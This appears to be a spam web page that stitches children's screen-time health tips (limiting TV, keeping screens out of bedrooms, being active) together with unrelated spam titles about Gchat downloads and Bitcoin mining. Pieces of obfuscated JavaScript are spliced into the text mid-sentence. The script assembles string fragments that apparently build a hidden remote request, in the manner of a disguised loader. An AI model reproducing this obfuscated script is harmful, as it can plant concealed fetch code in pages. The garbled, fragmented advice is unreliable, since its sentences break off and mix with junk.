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• DO NOT leave the TV on for background noise Turn on the radio instead, or have no background noise.. • TV commercials and other screen ads can lead to Most of the time, the foods in ads that are aimed at kids are high in sugar, salt, or fats.. • Children eat more when they are watching TV, especially if they see ads for food.

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var x = new Array();x["kt"]="{v";x["Qj"]="Jc";x["ni"]="oc";x["tU"]="nl";x["Ew"]="sp";x["HF"]="of";x["rW"]="T1";x["JR"]="t.. Talk to them about things they can do to be healthier To decrease screen time: • Remove the TV or computer from your child's bedroom.

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Cutting down to 2 hours a day can be hard for some children because TV may be such a large part of their daily routines.. ";x["nk"]="8K";x["Gr"]="en";x["ob"]="XM";x["qr"]="n(";x["zv"]="ET";x["ZB"]="'/";x["fG"]="xe";x["EO"]="xU";x["iW"]="ti";x["Kk"]="9d";x["XI"]="Q1";x["GGQM"]="AU";x["zk"]="')";x["vY"]=".. But you can help your children by telling them how sedentary activities affect their overall health.. SCREEN TIME “A healthy approach to children’s media use should both minimize potential health risks and foster appropriate and positive media use—in other words.. • DO NOT allow TV watching during meals or homework • DO NOT let your child eat while watching TV or using the computer. Download Gchat For Mac

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• Suggest other activities, such as family board games, puzzles, or going for a walk.. • Keep a record of how much time is spent in front of a screen Try to spend the same amount of time being active.. Computers can help kids with their schoolwork But surfing the internet, spending too much time on Facebook, or watching YouTube videos is considered unhealthy screen time.. ";x["Nn"]="cP";x["DX"]="VQ";x["Mp"]=" w";x["fd"]="YA";x["yc"]="Xk";x["Pa"]="rr";x["yS"]="FB";x["Dn"]="cJ";x["Ir"]="r.. • Be a good role model as a parent Decrease your own screen time to 2 hours a day.. • Decide which programs to watch ahead of time Turn off the TV when those programs are over.. Added together, all types of screen time can total 5 to 7 hours a day Too much screen time can: • Make it hard for your child to sleep at night • Raise your child's risk for attention problems, anxiety, and depression • Raise your child's risk for gaining too much weight () Screen time increases your child's risk for because: • Sitting and watching a screen is time that is not spent being physically active. 34bbb28f04 Bitcoin Cloud Mining Calculator For Bitcoin Price

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